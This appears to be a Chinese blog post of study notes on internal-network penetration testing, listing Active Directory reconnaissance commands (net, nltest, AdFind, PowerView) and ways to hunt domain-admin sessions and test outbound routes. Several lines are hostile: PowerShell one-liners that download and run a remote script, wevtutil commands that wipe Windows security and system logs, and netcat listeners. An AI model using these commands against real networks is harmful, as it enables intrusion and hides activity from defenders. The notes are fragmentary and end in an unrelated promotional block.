目标资产信息搜集的程度,决定渗透过程的复杂程度。
目标主机信息搜集的深度,决定后渗透权限持续把控。
渗透的本质是信息搜集,而信息搜集整理为后续的情报跟进提供了强大的保证。
首先得做准备工作,才可以查询。
net view /domain :HACKE
net group /domain
net group ”domain computers“ /domain
net accounts /domain
nltest /domain_trusts
执行以下命令,可以看到,域控制器的机器名为DC
nltest /DCLIST:hacke
Nslookup -type=SRV _ldap._tcp
net time/domain
net group ”Domain Controllers” /domain
执行如下命令,可以看到,域控制器的机器名为"dc"
1. 查询所有域用户列表
net user/domain
wmic useraccount get /all
dsquery user
net localgroup administrators
net group " domain admins " /domain
net group “Enterprise Admins ”/domain
内网渗透测试的需求是,获取内网中特定用户或机器的权限,进而获得特定的资源,对内网的安全性进行评估。
在内网中,通常会部署大量的网络安全系统和设备,例如IDS、IPS、日志审计、安全网关、反病毒软件等。在域网络攻击测试中,获取域内的一个支点后,需要获取域管理员权限。
1.psloggedon.exe.exe
3.netview.exe
4.Nmap中的NSe脚本
5.PowerVIew 脚本
6.Empire 的User_hunter模块
1)获取域管理员列表
net group “ Domain Admins ”/domain
2)收集域管理员列表
net group “Domain Admins " domain
3)收集所有活动域的会话列表
NetSess -h
这个工具,你得先下载,然后才可以使用。(github有)
4)交叉引用域管理员列表与活动会话列表
net group "Domain Admins " /domain
首先下载脚本文件 GDA.bat
然后运行:
GDA.bat -a
查询远程系统中运行的任务(不怎么灵)
FOR /F %i in (ips.txt) DO @echo [+] %i && @tasklist /V /S %i /U user /P password 2>NUL > output.txt && FOR /F %n in (names.txt) DO @type output.txt | findstr %n > NUL && echo [!] %n was found running a process on %i && pause
扫描远程系统的NetBIOS信息
for /F %i in (ips.txt) do @echo [+] Checking %i && nbtstat -A %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i
1.检查Powershell状态
2.将状态修改成Unrestricted(需要管理员权限)
3.利用脚本
下载ps1
ps1,并运行查询命令
Get-NetDomain #获取当前用户所在域的名称
Get-NetUser #获取所有用户的详细信息
Get-NetComputer #获取域内所有机器的详细信息
Get-NetShare #获取当前域内所有的共享信息
Get-ADObject #获取活动目录的对象(内容超级多)
Invoke-UserHunter #获取域用户登陆的计算机信息,以及该用户是否有本地管理员权限
Invoke-ProcessHunter #通过查询域内所有的机器进程找到特定用户
8.域内用户和管理员的获取与定位
使用adfind或者powerview导出域用户信息可以查看
# 查看域内用户详细信息:
adfind.exe -h DNS_SERVER_IP -sc u:username #目标用户
# 查看域用户能登录的机器(userWorkstations)
adfind.exe -h DNS_SERVER_IP -sc u:username userWorkstations
# 查看域内所有用户详细信息:
AdFind.exe -h DNS_SERVER_IP -sc u:* > result.txt
# 查看域内所有用户详细信息
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1');Get-NetUser -Domain yoga.com > .\test.txt"
# 使用修改组策略的方式限制登录
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1');Invoke-EnumerateLocalAdmin > .\test.txt"
(2)Dns解析
前提是拿到了域管,查看dc上面dns解析记录
dnscmd 127.0.0.1 /enumrecords yoga.com yoga.com. /type A
dnscmd 127.0.0.1 /zoneprint yoga.com >1.txt
(3)用户目录
查看域内所有计算机的C:\users\目录下的文件夹(登陆过该计算机的用户)
wevtutil为Windows 事件命令行实用程序,其导出的日志为evtx格式(即Windows日志本身的存储格式),可以使用Windows事件查看器分析,Crtl+F查找,或者不使用epl参数,直接重定向输出即可。 wevtutil常用的场景是清理日志。
可作为筛选分析日志的工具 ,4624(用户登录成功),4768、4776(用户验证成功)
(4)域控日志
导出所有域控的登录日志,分析出用户的登录ip;
wevtutil cl application
wevtutil cl security
wevtutil cl system
wevtutil cl "windows powershell"
wevtutil qe security /q:"Event[System[(EventID=4624 or EventID=4768 or EventID=4776)]]" /f:text /rd:true /c:1 > EvtLogon.dat
wevtutil qe Security /q:"*[EventData[Data[@Name='LogonType']='10'] and EventData[Data[@Name='TargetUserName']='RcoIl'] and System[(EventID=4624) and TimeCreated[timediff(@SystemTime) <= 2592000000]]]"
wevtutil qe Security /q:"*[System[(Keywords='0x8020000000000000')] and EventData[Data[@Name='SubjectUserName']='RcoIl']]" /f:text /rd:true /c:2
# 参数说明
qe: 从日志或日志文件中查询事件;(默认xml格式显示)
Security: 指定安全事件的日志;
/q: 筛选规则,可以打开Windows事件查看器的筛选器配置筛选条件后转至XML复制筛选规则;
/f: 以text格式显示
/rd: 指定读取事件的方向
/c: 指定个数
该命令其它参数参考wevtutil /?
(5)其他工具(可能不全)
1、psloggendon.exe chris
2、netsess.exe \\PRIMARY
3、PVEFindADUser.exe -current需要管理员权限,可以枚举出域用户以及登录过特定系统的用户
4、netview.exe
9.寻找域用户正在登录的主机
检查远程机器注册表项HKEY_USERS拿到正在登录的用户SID
判断机器处于网络拓扑中的某个区域,是DMZ区,办公区,核心区还是核心DB等多个位置
假如是服务器,判断是否是Web服务器,开发测试服务器,公共服务器,文件服务器,代理服务器,DNS服务器,存储服务器等..
具体需要通过机器内的主机名、文件、网络连接等多种情况进行综合判断
主机名是最好判断的,通常Web或App是Web服务器;Dev是开发服务器;NAS是存储服务器;File或者Fileserver是文件服务器…..
通过网络连接判断也成,代理服务器可能有多个机器连接代理端口;更新服务器(WSUS)可能开放更新端口8530;DNS服务器开放53端口…..
指的是机器能否从外面进来,能否出去。这关乎于后续的代理和木马
4.端口的判断
外网***开放监听端口,内网机器测试常见端口,或者直接端口扫描
常见能出去的端口:80、8080、443、53、110、123等
5.协议的判断
通常就是TCP、HTTP、ICMP、DNS等协议
利用adfind查询该sid用户
AdFind.exe -b cn=users,dc=yoga,dc=com -f "(objectSid:=S-1-5-21-2104426803-785674075-3345604858-1106)"
这个方法不需要很高的域用户权限,但是Server默认才会开启远程注册表,PC默认不会开启
TCP协议
nc -lvnp port
内网机器: nc ip port
DNS协议
windows:nslookup dnslog
linux: dig dnslog
HTTP协议
nc -lvnp 80(8080)
内网机器: curl ip:80(8080) / 浏览器访问
ICMP协议
由于是网络层协议,内网直接利用ping命令,然后***用tcpdump等抓包工具抓包进行验证
判断
最终用Curl进行确认
1 2 |
curl www.baidu.com //不通 curl -x proxy-ip:port www.baidu.com //通 |
内网的核心敏感数据,不仅包括数据库、电子邮件,还包括个人数据及组织的业务数据、技术数据等。可以说,价值较高的数据基本都在内网中。
(1).定位内部人事组织结构
2.在内部人事组织结构中寻找需要监视的人员l
3.定位相关人员的机器
4.监视相关人员存放文档的位置
5.列出存放文档的服务器的目录
1.核心业务机器
2.敏感信息和敏感文件
1.在掌握了内网的相关信息后,渗透测试人员可以分析目标网络的结构和安全防御策略,获取网段信息、各部门的ip地址段。
asp+ Access+ IIs5.0/6.0+ windows sever 2003
aspx+Mysql+IIS7.0/7.5 +windows server 2008
php+Mysql+IIS
php+Mysql+Apache
php+MYsql+Nginx
jsp+mysql+nginx
jsp+mysql+Tomcat
jsp+oracle+Tomcat
在判断内网环境时,首先需要分析内网ip地按址的分布情况。一般可以通过内网中的服务器、交换机等设备,以及snmp、弱口令等,获取内网网络拓扑或dns域传送的信息。
网段是怎么划分的? 按照楼层划分网段,还是按照地区划分网段?
内网通常可分为DMZ、办公区、核心区
1.DMz
在实际的渗透测试中,大多数情况下,在**web环境中拿到的权限都在dmz中。这个区域不属于严格意义上的内网。如果访问控制策略配置合理,dmz就会处在从内网能够访问DMz,而从dmz访问不能进入内网的状态。
2.办公区
办公区,是指日常工作区。办公区的安全防护水平通常不高,基本的防护机制大多数为杀毒软件或主机入侵检测产品。
3.核心区
核心区内一般存放着企业最重要的数据、文档等信息资产(例如域控制器、核心生产机器)安全全设置也最为严格。
1.在上述内容的基础中,可以尝试分析域结构
通过目标主机及所在域的各类信息,就可以绘制内网的拓扑图了。
总结:
本文是通过阅读《内网渗透攻防》来学习内网知识,从0到1。本人也是一个萌新小白,不会的百度或者google,希望会的大佬勿喷,希望可以和大家一起遨游内网!
文章到这里就结束了,不光是打工的程序员难,大家都很难的啦
我退休后一直在学习如何写文章,说实在的,每次在后台看到一些读者的回应都觉得很欣慰,对于自媒体我是个刚入门的人,还是个傻大叔…为了感谢读者们,我想把我收藏的一些编程干货贡献给大家,回馈每一个读者,希望能帮到你们。
干货主要有:
① 2000多本Python电子书(主流和经典的书籍应该都有了)
② Python标准库资料(最全中文版)
③ 项目源码(四五十个有趣且经典的练手项目及源码)
④ Python基础入门、爬虫、web开发、大数据分析方面的视频(适合小白学习)
⑤Python所有知识点汇总(可以弄清楚Python的所有方向和技术)
*如果你用得到的话可以直接拿走,在我的QQ技术交流群里(纯技术,广告勿入)可以自助拿走,群号是421592457。*